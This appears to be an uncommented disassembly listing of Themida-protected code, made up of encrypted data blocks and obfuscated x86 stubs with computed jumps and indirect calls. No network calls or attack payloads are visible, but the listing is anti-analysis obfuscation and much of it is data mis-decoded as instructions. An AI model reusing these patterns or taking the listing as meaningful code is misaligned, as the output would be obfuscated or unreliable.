		dd 0B19AB600h, 0AA4E167h, 9B10B600h, 0CE6D561Ah, 0EF8E1187h
		dd 75A760A6h, 11F218CEh, 0D89DB17Ch, 0C469425Bh, 1D8345D3h
		dd 0C3BCABA7h, 0AAF7B2E0h, 3E192771h, 0C2072788h, 0A4F4EDA0h
		dd 0FE3F5EC7h, 0FB38115Ch, 0D845082Ah, 0A6C0F802h, 0A982BCABh
		dd 0D05D1438h, 0B544ED5Ah, 0E100A10Ah, 95DC80B3h, 52FC0EBCh
		dd 30C35742h, 3F658307h, 57428D8Dh, 5CDC77C3h, 0EB5E757h
		dd 7300AED8h, 69C2B603h, 71385BC4h, 2AEB8A35h, 0C56A430Ah
		dd 0DE97B619h, 6CE48C5Ah, 9CBF0AE5h, 0B6D748D5h, 8684B6FBh
		dd 84ACF43Ch, 0C66FC44Bh, 0AE77E437h, 79CD84A7h, 0B1FEB7D6h
		dd 0E30742F0h, 8A175200h, 0A5A40791h, 0FDA0A708h, 278876B4h
		dd 41EE4A07h, 2464A622h, 1E0AE569h, 0BD75C35h, 902D79C1h
		dd 9D28A2EFh, 13FC3C5Eh, 3, 0FFCBB036h,	138C1158h, 2BF43970h
		dd 42E34009h, 5FC06D20h, 752E733Eh, 8B1499D4h, 0A47DA2E7h
		dd 0BF60CD84h, 0FA4AD792h, 81E18951h, 4C1h, 4E98100h, 87000000h
		dd 895C240Ch
; ---------------------------------------------------------------------------
		sub	al, 24h
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], ecx
		push	ebp
		push	7A7F0A58h
		pop	ebp
		shr	ebp, 1
		and	ebp, 7CF57112h
		and	ebp, 3AF40BBh
		add	ebp, 6869BD0h
		mov	ebx, ebp
		mov	ebp, [esp]
		add	esp, 4
		push	esp
		mov	ecx, [esp]
		add	esp, 4
		push	0CDAh
		mov	[esp], ebx
		pop	dword ptr [ecx+8]
		mov	ecx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		jmp	loc_5517CE
; ---------------------------------------------------------------------------
		dw 567h
; ---------------------------------------------------------------------------


loc_583B38:				; CODE XREF: Themida_:005835D8j
		mov	eax, 6ABA097h
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		db 3Fh,	65h, 8Fh
; ---------------------------------------------------------------------------
		pop	esi
		pop	ds
		mov	[edi], eax
		adc	[edi-73945457h], bl
		cmp	cl, [ebx]
		add	[ecx], esp
		jl	short loc_583BCA
		daa
		retn	2A3Eh
; ---------------------------------------------------------------------------
		dd 8191AE3Fh, 128A0918h, 304FFB4Fh, 2F98D246h, 64452A74h
		dd 55BBCC73h, 27F8E555h, 6936FE2Bh, 0E5D8AB04h,	29144E49h
		dd 66CEAD1Bh, 88D3F307h, 70310376h, 0A40E6C28h,	5EAB567Dh
		dd 54A6DD26h, 820DBD09h, 0A9164612h, 51216A65h,	8A685F55h
		dd 75E978h, 66600000h, 4A8D88Ch, 35840Fh, 16A0000h, 31F9B5FFh
		dd 858D06A8h, 6AB6971h
; ---------------------------------------------------------------------------
		call	eax


loc_583BCA:				; CODE XREF: Themida_:00583B52j
		mov	[ebp+6A8268Dh],	eax
		mov	edi, esi
		shr	edi, 0Ch
		push	20040000h
		push	0
		push	2
		push	edi
		push	1000Dh
		call	dword ptr [ebp+6A8268Dh]
		jmp	loc_583C21
; ---------------------------------------------------------------------------
		mov	byte ptr [ebp+6A815D5h], 56h
		push	0A9C530DFh
		push	dword ptr [ebp+6A80F95h]
		lea	eax, [ebp+6AB6971h]
		call	eax
		mov	[ebp+6A81405h],	eax
		lea	eax, [ebp+6A80755h]
		push	eax
		push	20h
		push	5
		push	esi
		call	dword ptr [ebp+6A81405h]


loc_583C21:				; CODE XREF: Themida_:00583BEAj
		popa
		retn
; ---------------------------------------------------------------------------
		shl	eax, 6
		jmp	short loc_583C61
; ---------------------------------------------------------------------------
		dd 0C20000h, 0C202CCh, 0C202E4h, 0
		dd 45D4AD10h, 74CDA175h, 20DCA970h, 4DD7ADFBh, 4CDDEA2Bh
		db 4Fh
byte_583C4D	db 0C4h, 0F7h, 74h	; CODE XREF: Themida_:00583C6Bj
		dd 20F588D5h, 50F6B086h, 48EDAA01h, 44D8A140h
		db 19h
; ---------------------------------------------------------------------------


loc_583C61:				; CODE XREF: Themida_:00583C26j
		movsb
		shl	dword ptr [eax], cl
		fldcw	word ptr [edx+edi*4]
		and	[esi-3Ch], al
		cdq
		jge	short near ptr byte_583C4D
		cdq


loc_583C6E:				; CODE XREF: Themida_:00583C7Bj
		xor	[ebp+esi*4-40h], cl
		cmp	[esp+ebp*8-40h], ah
		lodsd
		and	[esp+eax*8-4], ah
		jnz	short loc_583C6E
		enter	0FFFF97B6h, 0D3h
		dec	edi
		add	al, 0D5h
		cdq
		insb
		mov	edi, 8839CBABh
		mov	ds:4AB794Fh, ah
		push	ecx
		mov	bl, 88h
		into
		inc	edi
		add	al, 0F9h
		jp	short loc_583D06
		mov	edi, 3ACD4720h
		popf
		lock jmp near ptr 0B0E462B7h
; ---------------------------------------------------------------------------
		dw 70A0h
; ---------------------------------------------------------------------------
		adc	eax, 9A98794Fh
		sar	byte ptr [ecx+0C411820h], 27h
		pusha
		retn	0BD34h
; ---------------------------------------------------------------------------
		dd 261365C8h, 78E217CDh, 0D50799Ah, 54B9C224h, 98EA9451h
		dd 20B9C09Ah, 270C4118h, 0BD34C260h, 26135AFFh,	78E217CDh
		dd 70B9AEE5h, 20B9C764h, 0E3E1E446h, 4FD4D7Bh, 4FD4595h
		dd 20B9D2CCh, 0E3E98464h, 0A98A453Bh, 88AE499Ch
		db 8Ah,	4Fh
; ---------------------------------------------------------------------------


loc_583D06:				; CODE XREF: Themida_:00583C98j
		jns	short loc_583D52
		inc	esi
		xchg	eax, esi
		push	ecx
		and	esp, [ebx]
		les	edi, [ecx-1CF83500h]
		test	eax, 0A1BDE09Ch
		and	al, ah
		mov	ebp, 0B9C4323Ch
		bound	ecx, [ebx+7]
		db	65h
		pop	ebp
		sbb	cl, [edi+1BC4E9F4h]
		xchg	eax, edi
		inc	eax
		jnb	short loc_583D7D
		sub	al, 71h		; CODE XREF: Themida_:00583D4Aj
		movsd
		insb
		mov	edi, 91C97079h
		mov	eax, ds:0A57FA527h
		out	0D1h, eax
		adc	[esi], esp
		dec	edi
		scasb
		mov	ecx, 0B9C76472h
		and	[esi-1Ch], al
		jecxz	short near ptr loc_583D2E+1
		jns	short near ptr loc_583D99+2
		in	eax, dx
		add	al, 95h
		inc	ebp


loc_583D52:				; CODE XREF: Themida_:loc_583D06j
		std
		add	al, 0CCh
		sar	byte ptr [ecx-14799BE0h], 1 ; CODE XREF: Themida_:00583D8Fj
		jecxz	short near ptr loc_583D62+4
		xchg	eax, ebp
		mov	dh, 0ADh
		sbb	esp, eax


loc_583D62:				; CODE XREF: Themida_:00583D5Bj
		mov	ecx, 23ACD520h
		cmp	al, 39h
		dec	esi
		mov	dh, 0ABh
		sub	eax, 0C120B9C4h
		xchg	eax, esi
		jmp	near ptr 0E44E04E9h
; ---------------------------------------------------------------------------
		db 78h
		dd 41D9F56Bh
		db 68h
; ---------------------------------------------------------------------------


loc_583D7D:				; CODE XREF: Themida_:00583D2Cj
		pushf
		cmp	ds:9E09227Ch[edi], ah
		scasb
		mov	ecx, 0B9C7AE71h
		and	[ebx], ah
		in	al, 0E0h
		jecxz	short near ptr loc_583D55+4
		dec	ebp
		cmc
		add	al, 0CCh


loc_583D95:				; CODE XREF: Themida_:00583DEAj
		inc	ebp
		std
		add	al, 60h


loc_583D99:				; CODE XREF: Themida_:00583D4Cj
		sar	byte ptr [ecx-177ACDE0h], 1
		jecxz	short near ptr loc_583DDE+3
		cmp	ecx, ds:4ABF6C83h[esi*4]
		inc	esi
		xchg	eax, esi
		push	ecx
		and	esp, [ebx]	; CODE XREF: Themida_:00583DEDj
		les	edi, [ecx-1CF83500h]
		test	eax, 0A1BDE09Ch
		and	al, ah
		mov	ebp, 0B9C43238h
		bound	ecx, [ebx+7]
		xchg	eax, edx
		pop	esp
		sti
		xchg	eax, esp
		test	eax, 0B9C440C8h
		and	[eax+6Bh], al
		jnb	short loc_583E49
		out	dx, eax
		and	eax, 0DD15AD30h
		adc	[esi], esp
		db	3Eh
		dec	ecx
		cmp	al, 51h
		pop	ebx
		outsd


loc_583DDE:				; CODE XREF: Themida_:00583D9Fj
		mov	edi, 5195194Ah
		and	ecx, [esp+eax*8+71F00B9h]
		loopne	loc_583D95
		outsd
		loopne	near ptr loc_583DAB+1
		mov	eax, ds:3BBDE0D5h
		enter	0FFFFB9C4h, 61h
		xor	eax, 94FEC307h
		lodsb
		stc
		bound	edx, [eax]
		and	edx, [edx+11EE5595h]
		db	26h
		mov	ecx, 7420D314h
		sub	al, 0BAh
		and	[ecx+0B7F99C4h], dl
		wait
		xor	[eax+eax*2-40h], bl
		cmp	[esi+edx-40h], ah
		mov	eax, ds:0FEC41920h
		ja	short loc_583E74
		jmp	far ptr	0A9EFh:50A532E1h
; ---------------------------------------------------------------------------
		dd 888D99A6h, 0ADB89A97h, 2611CA65h, 20D3C00Eh,	20BA2C60h
		dd 7A99C419h, 74309E4Fh
		db 62h
; ---------------------------------------------------------------------------


loc_583E49:				; CODE XREF: Themida_:00583DCEj
		sar	byte ptr [eax],	64h
		pop	es
		shr	byte ptr [ebp-43B6EE0h], 72h
		or	edi, [edi+ebx*8-67h]
		fld	tbyte ptr [esi+eax-1BB054C9h]


loc_583E5F:				; CODE XREF: Themida_:00583E8Fj
		enter	0FFFFC41Dh, 0B9h
		and	[esp+edx*8+37CD20B9h], cl
		jmp	near ptr 0FDA82B1Ah
; ---------------------------------------------------------------------------
		db 4
		dd 0A803A295h
; ---------------------------------------------------------------------------


loc_583E74:				; CODE XREF: Themida_:00583E23j
		db	26h
		dec	edi
		mov	ecx, 0AC82DD46h
		test	eax, 9ABDE076h
		fstp	dword ptr [esi]
		shr	byte ptr [esi-2Ch], cl
		scasb
		mov	ecx, 0B9C7AE77h
		and	[ebx], ah
		in	al, 0E6h
		jecxz	short loc_583E5F
		dec	ebp
		lds	eax, [esp+ecx*8]
		inc	ebp
		std
		add	al, 60h
		sar	byte ptr [ecx-117CCDE0h], 1
		jecxz	short loc_583F05
		sub	al, 0BDh
		and	[esp+eax*8-3BB9DDABh], cl
		jmp	near ptr 0BA1C7177h
; ---------------------------------------------------------------------------
		and	[esi], bh
		leave
		cmc
		movsb
		retf
; ---------------------------------------------------------------------------
		db 8Bh,	0B8h, 0CFh
		dd 0B490C615h, 948AC946h, 70E79D93h, 0C9E396ECh, 20B9C44Ah
		dd 0C9482655h, 0FC531832h, 2D69A56Bh, 4FD4F05h,	20B62C36h
		dd 0D206C419h, 87778036h, 64E12416h, 32C93957h,	40EB941Ah
		dd 9588CBA9h, 7AE19ED5h, 0DB32C4B9h, 249D8090h
		db 0EAh
; ---------------------------------------------------------------------------


loc_583F05:				; CODE XREF: Themida_:00583E9Fj
		dec	edi
		inc	ecx
		js	short loc_583F35
; ---------------------------------------------------------------------------
		db 0C4h, 0EEh, 0C8h
		dd 20B9C420h, 7F7A9BB1h, 249DB841h, 249D80E5h, 20B9C42Eh
		dd 0B77A935Eh, 2A63E016h, 0A513B896h, 20D3C449h, 20BA2CC0h
		db 0C8h
; ---------------------------------------------------------------------------


loc_583F35:				; CODE XREF: Themida_:00583F07j
		les	ebx, [ecx+309DA779h]
		insb
		push	ss
		sar	byte ptr [eax],	64h
		cmp	eax, 8C20A4C0h
; ---------------------------------------------------------------------------
		db 0C4h, 0F8h, 71h
		dd 0D1143085h, 188B6F81h, 0ABAE976Ah, 0A9693B33h, 88BF0DD1h
		dd 3B3C4D34h, 4ABF6FBBh, 2351918Ch, 0B9C446h, 0A9E4077Eh
		dd 0A1BDE0FDh, 35BDE08Ch, 65B9C464h, 48B10767h,	1107992h
		dd 9ADFC224h, 0D8326A50h, 20BB0826h, 3F3C4D91h,	0A3BF6F6Ah
		dd 0A530DCA4h, 26126611h, 0CC00042Ah, 0D3B9C48Eh, 8D0C4FECh
		dd 70BF6C2Dh, 3ED87918h, 0AAE3C260h, 0F53C02AEh, 63BF6C27h
		dd 0C8EEC473h, 20B9C48Fh, 7F7A9B66h, 249DB8AAh,	249D8010h
		dd 20B9C4DCh, 0BE7A9323h, 3A7315B3h, 0A7B6DF91h, 20B9C48Ah
		dd 2B304975h, 0FFD1C28Bh, 0A10EE937h, 0ED38E0FCh, 7007EF2Eh
		dd 0DFBE9657h, 88B651ACh, 72B9AE8Ah, 20B9C7AEh,	0E3E3E423h
		dd 4ED4DCBh, 4FD45CCh, 20B9D060h, 0E3EB8632h, 5134ED06h
		dd 0ADBF6C89h, 8BD0B5C3h, 76B9AE25h, 20B9C779h,	0E3E7E4C8h
		dd 4CD4D3Ah, 4FD4536h, 20B9D81Dh, 0E3EF828Ch, 1355C07Fh
		dd 4FD4D126h, 992C4F4Dh, 0DFBF6CD2h, 0C50CEDB4h, 0A9BF6C34h
		dd 88A0659Ch, 73B9AE8Ah, 20B9C7AEh, 0E3E2E423h,	4E54DCAh
		dd 4FD45CCh, 20B9D060h,	0E3EA8732h, 0A534C599h,	0ADBF6CA3h
		dd 88B181C3h, 71B9AE25h, 20B9C779h, 0E3E0E4C8h,	4F54D3Dh
		dd 4FD4536h, 20B9DF1Dh,	0E3E8858Ch, 0A260D020h,	502BF26Ch
		dd 793572C0h, 144059E1h, 0A530C2CCh, 2611E173h,	0C8ECC473h
		dd 20B9C48Fh, 7D7A9966h, 249DA8AAh, 249D8010h, 20B9C4D0h
		dd 0B37A9121h, 0A719D977h, 20B32C4Ah, 9B66C48Ch, 4F0B6E75h
		dd 76CAE448h, 20B9D578h, 0CC9B3C8h, 48479421h, 0FF2BFB3Ah
		dd 9937C2A7h, 7EE0912Bh, 356C4180h, 4AEAC28Bh, 23519391h
		dd 0B9C4C8h, 0A9E6073Bh, 0A1BDE04Eh, 37BDE05Dh,	67B9C48Ch
		dd 39220711h, 0F033B457h, 20B9C079h, 91F11CC8h,	29509498h
		dd 3EB9C432h, 641C0EEAh, 89ECE26Fh, 249D80CDh, 20320BA8h
		dd 249D8018h, 20B945C7h, 4AE1C464h, 23519532h, 0B9C419h
		dd 0A9E007D5h, 0A1BDE00Ah, 35BDE067h, 61B9C491h, 40C20799h
		dd 71ED32E4h, 20BF403Dh, 0BD88C419h, 2611E51Dh,	3735CB19h
		dd 40B9C423h, 26A84118h, 2A50C260h, 0D6B9C464h,	9034CC24h
		dd 0E0FFC734h, 9546A54Eh, 2611CBD3h, 2CD479AAh,	9532C239h
		dd 2611E5DDh, 49C841E9h, 20D3C299h, 20BA2C4Ah, 7B99C48Ch
		dd 7C309F85h, 6438C007h, 20ADC0B5h, 73FAC4C8h, 0AEB62DA7h
		dd 20B9C430h, 95920C92h, 2611F0C9h, 20D314B9h, 20BA2C75h
		dd 7E99C491h, 54309A0Bh, 6438C040h, 20ACC016h, 76FFC419h
		dd 0C94C124Fh, 20B9C456h, 76941188h, 44CCAB4Dh,	46DFF98Fh
		dd 63BC8D7Dh, 3B8841BBh, 0AD32C2B1h, 2611EE99h,	356C4180h
		dd 4AEAC28Bh, 23519391h, 0B9C4C8h, 0A9E6073Bh, 0A1BDE04Eh
		dd 38BDE05Dh, 67B9C48Ch, 0F6120711h, 0D9CAA002h, 20B9C079h
		dd 387D77C8h, 0FF06A2BCh, 0DE3294DDh, 249D8092h, 20A64D83h
		dd 72E9C446h, 0F8976C9Ch, 0C988CBD8h, 20B9C4C7h, 0CD013641h
		dd 243DAB37h, 0D041E50h, 7A16BD62h, 40B94F1Eh, 6F02A243h
		dd 414A4FF6h, 19807BAEh, 4FD4D05h, 20D39C36h, 20BA2C49h
		dd 7899C48Ch, 64309C85h, 6438C007h, 20AEC0B5h, 70F9C4C8h
		dd 88F873A7h, 20B72CFEh, 0BCB0C419h, 4A48216Dh,	3B11C286h
		dd 8E4D1A3Bh, 263BCBCEh, 40B9C4C8h, 41D99C33h, 0B50C3B53h
		dd 0DCBF6C16h, 49C84101h, 20D3C2EDh, 20BA2C70h,	7B99C491h
		dd 7C309F0Bh, 6438C040h, 20A0C016h, 73FAC419h, 1618124Fh
		dd 0DF43430Ah, 20B22DF3h, 51ABC491h, 31929907h,	4A2A9D4Dh
		dd 0D93C4D08h, 4ABF6C0Ch, 2351948Ch, 0B9C446h, 0A9E1077Bh
		dd 0A1BDE0D5h, 39BDE08Ch, 60B9C464h, 0E7D10762h, 0C0D08AB6h
		dd 223BCBECh, 92B9C446h, 8534ED1Ah, 41BF6CBBh, 356C410Eh
		dd 0AAFEC2CCh, 2138CBE2h, 0D8B9C419h, 4489BAE4h, 2700A2C5h
		dd 48D453Bh, 14032946h,	20B940C7h, 9546C464h, 2611CBA7h
		dd 0A5343D92h, 2612ADFDh, 0C8EFC42Ch, 20B9C420h, 7E7A9AB1h
		dd 249DB041h, 249D80E5h, 20B9C429h, 467A925Fh, 0ADE65160h
		dd 0A9CCFA6Bh, 88A5E1BEh, 4A693B97h, 235191C8h,	0B9C464h
		dd 0A9E4076Fh, 0A1BDE075h, 39BDE0C8h, 65B9C446h, 90140776h
		dd 0E2F92C1Ch, 0C9734FAEh, 20B9C468h, 0FD55AA86h, 6E426112h
		dd 41551671h, 0CD841CFh, 20D3C28Bh, 20BA2CC4h, 7D99C4C8h
		dd 4C3099A7h, 6438C016h, 20ACC03Dh, 75FCC48Ch, 2B094085h
		dd 88B9B5B6h, 0F53C0297h, 67BF6CDDh, 0C8EBC40Eh, 20B9C431h
		dd 7A7A9E39h, 249D9005h, 249D80C7h, 20B9C43Eh, 467A96D3h
		dd 302617CCh, 0A6FA1A45h, 9C03A29Dh, 20BD2C25h,	30C3C48Ch
		dd 72E9459Ah, 20B9CCCAh, 99B10691h, 3141A181h, 7088CB5Ch
		dd 3F06A260h, 7A88CB1Ch, 70E19ED4h, 0FDFCF2F8h,	4FD4F1Fh
		dd 17047B95h, 2032E03Bh, 249D80EDh, 53DA7B54h, 75B9AE41h
		dd 20B9C764h, 0E3E4E446h, 4D54D7Eh, 4FD4595h, 20B9D0CCh
		dd 0E3EC8164h, 52C4F91h, 40BF6C05h, 30A04907h, 0AAB6C2EEh
		dd 20B9C423h, 0EF32A2F0h, 2F2C7137h, 0BD90C2CCh, 2611D00Bh
		dd 49C84194h, 20D3C227h, 20BA2C11h, 7F99C423h, 5C309B52h
		dd 6438C0ECh, 20A5C040h, 77FEC432h, 5E0083DAh, 191C75CDh
		dd 0BD302695h, 2611DAD2h, 0DF4A739Eh, 71B9AE18h, 20B9C78Ch
		dd 0E3E0E432h, 4F54D40h, 4FD4588h, 20B9D142h, 0E3E88523h
		dd 0A4B67E5Dh, 20B9C4CDh, 26F2FDDh, 6D3C4D0Ah, 0A9BF6C35h
		dd 88B80531h, 0F53C0240h, 67BF6C36h, 0C86F7B9Eh, 20B9C4CCh
		dd 8A74F839h, 20AA2D62h, 9E18C419h, 953C445Ch, 0A0FD60ADh
		dd 2195E8CAh, 660DDBBFh, 4FD4FFBh, 20BF2D60h, 85C5C432h
		dd 0B07F465Fh, 0AFB6C407h, 20B9C442h, 97D17A45h, 249D8018h
		dd 8124CD90h, 9FBF6C71h, 5F2486D0h, 2F2C71E6h, 0A1E8C224h
		dd 9EB1F380h, 0A5349A01h, 2612ADE0h, 0C8EAC4A2h, 20B9C467h
		dd 7B7A9F12h, 249D9890h, 249D800Dh, 20B9C45Bh, 6B7A9760h
		dd 0B46511E9h, 18EBBBD1h, 290C4DFFh, 0DFBF6C00h, 71B9AEC9h
		dd 20B9C764h, 0E3E0E446h, 4F54D7Ah, 4FD4595h, 20B9D8CCh
		dd 0E3E88564h, 62897A33h, 51061B80h, 753C4DFEh,	4ABF6C60h
		dd 23519623h, 0B9C491h,	0A9E30792h, 0A1BDE030h,	39BDE076h
		dd 62B9C419h, 0BF0807DEh, 0BF6CC968h, 2FDC41AAh, 0B532C239h
		dd 2611F6D1h, 9530149Bh, 2611F6BBh, 5450457Fh, 5D3C4D9Ah
		dd 4ABF6C6Dh, 23519623h, 0B9C491h, 0A9E30792h, 0A1BDE030h
		dd 3CBDE076h, 62B9C419h, 162B07DEh, 408662B9h, 0DCFF52CDh
		dd 4A6148F7h, 235193C8h, 0B9C464h, 0A9E6076Dh, 0A1BDE065h
		dd 3ABDE0C8h, 67B9C446h, 33AD0774h, 2149A4F0h, 46D4EC2h
		dd 0AB4CA460h, 88B291BFh, 4008A51Fh, 0A4B60486h, 20B9C7D4h
		dd 0C8EFC449h, 20B9C492h, 7E7A9AE8h, 249DB0EDh,	249D80B3h
		dd 20B9C40Fh, 397A92CAh, 0C73831E1h, 7F96C276h,	0A57F9EC1h
		dd 2611D11Dh, 71B9AE2Bh, 20B9C7DAh, 0E3E0E419h,	4F54DD5h
		dd 4FD4542h, 20B9DD27h,	0E3E88591h, 709DCC2Fh, 0BD30C3A3h
		dd 2611CA87h, 202DACE1h, 72E908E6h, 28509616h, 0A0B9C423h
		dd 630D8EEFh, 2F65525Ch, 2D07A255h, 2FE19E22h, 2D50A428h
		dd 37B9C48Ch, 69E8F445h, 2730C4EEh, 69CE7F72h, 7AD80C43h
		dd 48D453Ch, 5353A862h,	25E04992h, 9546C224h, 2611CBD3h
		dd 0C8EEC449h, 20B9C492h, 7F7A9BE8h, 249DB8EDh,	249D80B3h
		dd 20B9C40Dh, 0DF7A93CBh
		dd 5D24ED26h, 40BF6C22h, 20B9499Eh, 0CF38C4C8h,	52DC722Ch
		dd 0A534A553h, 2612AD68h, 3A347107h, 0F046C2EEh, 0C8EEC449h
		dd 20B9C492h, 7F7A9BE8h, 249DB8EDh, 249D80B3h, 20B9C404h
		dd 617A93CBh, 7B629F8Ch, 22D225C9h, 9D3CC5FAh, 0A3BF6CDEh
		dd 5C06E0A4h, 0A98DF92Ch, 88BE859Ch, 513CC58Ah,	0ABBF6C4Ch
		dd 8892B9A6h, 0A2B69297h, 20B9C4CEh, 265459EDh,	0ABE7C29Ah
		dd 889F9184h, 76B9AE8Ah, 20B9C7AEh, 0E3E7E423h,	4CD4DCFh
		dd 4FD45CCh, 20B9D060h,	0E3EF8232h, 0EB06CB89h,	70B9AECFh
		dd 20B9C7AEh, 0E3E1E423h, 4FD4DC9h, 4FD45CCh, 20B9D060h
		dd 0E3E98432h, 0AB484FB5h, 47504597h, 0ABA68D02h, 71B9AE38h
		dd 20B9C779h, 0E3E0E4C8h, 4F54D3Dh, 4FD4536h, 20B9D91Dh
		dd 0E3E8858Ch, 498D237h, 0C60ECEB8h, 3B32F55Fh,	0CD7B877h
		dd 4A61F74Eh, 23519332h, 0B9C419h, 0A9E607D3h, 0A1BDE03Ah
		dd 3CBDE067h, 67B9C491h, 53D079Fh, 0D286EC48h, 0AA5DD208h
		dd 693C4DD1h, 0A9BF6C98h, 88A499DBh, 0E238A225h, 0A57F6101h
		dd 2611D11Dh, 73B9AE23h, 20B9C7DAh, 0E3E2E419h,	4E54DD7h
		dd 4FD4542h, 20B9D227h,	0E3EA8791h, 463D7D25h, 0D0235E5h
		dd 18D1F483h, 70102CBFh, 0F803A2DEh, 7088CBD4h,	749C6B9Ch
		dd 78E39DD3h, 0B19DF049h, 4AA7F21Fh, 23519532h,	0B9C419h
		dd 0A9E007D5h, 0A1BDE00Ah, 3CBDE067h, 61B9C491h, 0FA460799h
		dd 0BF036B77h, 0AB647F83h, 889FCDACh, 212CED8Ah, 0DFBF6C6Eh
		dd 88B65196h, 0C5344D97h, 2FBF6CECh, 20B9C9E9h,	20B12D32h
		dd 65BCC419h, 0E1219613h, 0A534F112h, 2612AD52h, 0C8EFC4FBh
		dd 20B9C4CBh, 7E7A9A44h, 249DB0BBh, 249D8098h, 20B9C497h
		dd 1A7A9200h, 32FD0A40h, 722BF5A6h, 0A0841C9h, 46E3C2CCh
		dd 0DF4AD28Bh, 75B9AEC9h, 20B9C764h, 0E3E4E446h, 4D54D7Eh
		dd 4FD4595h, 20B9D1CCh,	0E3EC8164h, 0C7388FDCh,	2EEB7281h
		dd 0CD84105h, 20D3C2EEh, 20BA2C74h, 7F99C491h, 5C309B0Bh
		dd 6438C040h, 20A1C016h, 77FEC419h, 3B9B524Fh, 0A5B6162Ch
		dd 20B9C426h, 0B67645F7h, 20D38470h, 20BA2C36h,	7A99C432h
		dd 74309EDAh, 6438C0A8h, 20A4C062h, 72FBC423h, 932C3C52h
		dd 0AE638DAh, 0AB232933h, 75B9AE32h, 20B9C7F1h,	0E3E4E48Ch
		dd 4D54D1Bh, 4FD4527h, 20B9DE95h, 0E3EC81C8h, 1316A641h
		dd 0ABCEF9ECh, 0E53C4D19h, 4ABF6C8Ah, 23519446h, 0B9C423h
		dd 0A9E107C9h, 0A1BDE08Ch, 34BDE020h, 60B9C432h, 9580749h
		dd 88B31901h, 206D2D40h, 0C9EEC423h, 20B9C498h,	2A3D717Ch
		dd 0C8A974BEh, 0A5349DDFh, 26126658h, 0DB7745EAh, 0FB0F5495h
		dd 46EB9473h, 11B60E1Ah, 0D232A29Fh, 0B0E19E3Dh, 3E5451CDh
		dd 9532C2B1h, 2611F571h, 82FE59CBh, 7041C288h, 20B9D479h
		dd 0E145F8C8h, 201AE9B4h, 0A90519BDh, 0CC596E2h, 0F632A2BDh
		dd 4A54D1Fh, 20B5462Ch,	0A5B6C491h, 20B9C4CEh, 20B9426Bh
		dd 2FE9C432h, 20B9C693h, 0A9764F8Ch, 0DF40E042h, 88B0CDB6h
		dd 77B9AE97h, 20B9C720h, 0E3E6E464h, 4C54D6Dh, 4FD451Dh
		dd 20B9D088h, 0E3EE8346h, 20AB2D99h, 0E74DC491h, 8CDAE433h
		dd 0DD4C637Dh, 6FDB41B5h, 0E0D5F18Fh, 27F84105h, 2D50C2EEh
		dd 47B9C423h, 0E7472DF3h, 0A0183C5Dh, 85039908h, 252879BBh
		dd 0A57FC2B1h, 2611D159h, 0A10C4F15h, 0C8BF6C0Fh, 20B9C495h
		dd 8A3E40B7h, 20B9D08Ch, 7CC80532h, 892CABFh, 3C512D38h
		dd 0D307221h, 0E80B4921h, 0ABE99A62h, 4FD4F32h,	0D0647D60h
		dd 2032AEEFh, 2CDF7E7Fh, 249D8005h, 48A17B20h, 76B9AE7Bh
		dd 20B9C779h, 0E3E7E4C8h, 4CD4D3Ah, 4FD4536h, 20B9D11Dh
		dd 0E3EF828Ch, 5D08C211h, 2F2C71DCh, 20D3C239h,	20BA2C9Fh
		dd 7F99C464h, 5C309BF1h, 6438C03Dh, 20A1C0A8h, 77FEC446h
		dd 0F7D99AE0h, 0AD30A720h, 2611EBC9h, 0A5343EEFh, 2612AD43h
		dd 0C8E8C473h, 20B9C48Fh, 797A9D66h, 249D88AAh,	249D8010h
		dd 20B9C4D5h, 687A9525h, 708938CFh, 2C8010EAh, 70524EE5h
		dd 20B9C8AFh, 87CE3D23h, 2E4E022h, 3DFE4018h, 0F0469A5Eh
		dd 0C8EFC458h, 20B9C41Ah, 7E7A9AACh, 249DB0CFh,	249D80A2h
		dd 20B9C484h, 657A928Eh, 3D3C4D61h, 29BF6C2Ch, 888939A4h
		dd 0F53C028Ah, 67BF6C53h, 0C8EEC449h, 20B9C492h, 7F7A9BE8h
		dd 249DB8EDh, 249D80B3h, 20B9C404h, 9D7A93CBh, 79C6A2E2h
		dd 0CCA800BAh, 0C81E763Fh, 20B9C4CCh, 81CBD1F4h, 20B9C2DAh
		dd 0E14F8219h, 7085D186h, 1E03A214h, 7A88CB45h,	91E99DC9h
		dd 4FD4F01h, 0C9EB9460h, 20B9C420h, 0BF48A4F1h,	0CD9961E2h
		dd 0BF9F793Bh, 0DA57F82Eh, 11B67E31h, 20329C92h, 0D5837A02h
		dd 249D80BBh, 78734F7Fh, 68147DEAh, 2F2C71B9h, 0ADB8C28Bh
		dd 2611D13Ch, 49C84145h, 9588C2CFh, 2611DDA3h, 0A53014E6h
		dd 2611E515h, 0C8EFC42Ch, 20B9C420h, 7E7A9AB1h,	249DB041h
		dd 249D80E5h, 20B9C42Bh, 0E47A925Fh, 3F66FD15h,	46494F39h
		dd 6F9405A2h, 356C4157h, 4AEAC260h, 23519164h, 0B9C432h
		dd 0A9E40744h, 0A1BDE0E0h, 39BDE002h, 65B9C423h, 0C07407C4h
		dd 14DE3EF7h, 0EA0D550Ch, 393ECB6Dh, 0C8B9C419h, 20B9C485h
		dd 4B37AC92h, 0ED753672h, 20BC2D74h, 980CC4C8h,	7F5C4F02h
		dd 0DF9DC0B3h, 0C980AAB3h, 20B9C49Dh, 7A6390A6h, 21FCFB12h
		dd 63220F94h, 3484B9A5h, 0B50C3B8Ah, 4ABF6C3Dh,	23519519h
		dd 0B9C48Ch, 0A9E0071Fh, 0A1BDE06Fh, 37BDE0D5h,	61B9C4C8h
		dd 11B60735h, 4D06A268h, 11ED6B8Ch, 88917D09h, 513C4940h
		dd 21BF6F4Ah, 88A2A914h, 4A693BCEh, 23519564h, 0B9C432h
		dd 0A9E00740h, 0A1BDE0C0h, 3ABDE002h, 61B9C423h, 0C0307C0h
		dd 5D8D191Fh, 0D30ECB1Ah, 6441BBh, 0BD30C2B1h, 2611D179h
		dd 356C4180h, 4AEEC28Bh, 23519191h, 0B9C4C8h, 0A9E40739h
		dd 0A1BDE05Eh, 3BBDE05Dh, 65B9C48Ch, 0E30E0713h, 903CC9FDh
		dd 0E0D1AE84h, 0A1905A37h, 72FFE060h, 3350A257h, 0FEB9C419h
